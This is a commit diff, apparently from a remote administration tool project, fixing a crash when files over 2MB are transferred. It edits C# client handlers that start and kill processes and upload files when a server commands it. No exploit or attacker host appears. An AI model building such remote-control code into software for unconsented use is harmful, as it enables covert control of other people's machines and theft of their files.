Fixed crash when downloading files over 2MB (#75)

This commit is contained in:
MaxXor 2015-05-05 09:19:08 +02:00
parent 304a342f19
commit e50ea69d43
3 changed files with 25 additions and 14 deletions

View File

@ -312,7 +312,8 @@ namespace xClient.Core.Commands
Process.GetProcessById(command.PID).Kill();
}
catch
{ }
{
}
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
@ -321,21 +322,30 @@ namespace xClient.Core.Commands
public static void HandleStartProcess(Packets.ServerPackets.StartProcess command, Client client)
{
if (!string.IsNullOrEmpty(command.Processname))
if (string.IsNullOrEmpty(command.Processname))
{
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
return;
}
try
{
ProcessStartInfo startInfo = new ProcessStartInfo { UseShellExecute = true, FileName = command.Processname };
ProcessStartInfo startInfo = new ProcessStartInfo
{
UseShellExecute = true,
FileName = command.Processname
};
Process.Start(startInfo);
}
catch
{ }
{
new Packets.ClientPackets.Status("Process could not be started!").Execute(client);
}
finally
{
HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
}
}
}
public static void HandleDrives(Packets.ServerPackets.Drives command, Client client)
{
@ -451,6 +461,7 @@ namespace xClient.Core.Commands
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
{
if (!client.Connected) return;
if (_canceledDownloads.ContainsKey(command.ID)) return;
byte[] block;

View File

@ -7,7 +7,7 @@ namespace xClient.Core.Helper
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }

View File

@ -7,7 +7,7 @@ namespace xServer.Core.Helper
{
private int _maxBlocks;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - 1;
private const int MAX_PACKET_SIZE = Client.MAX_PACKET_SIZE - Client.HEADER_SIZE - (1024 * 2);
public string Path { get; private set; }
public string LastError { get; private set; }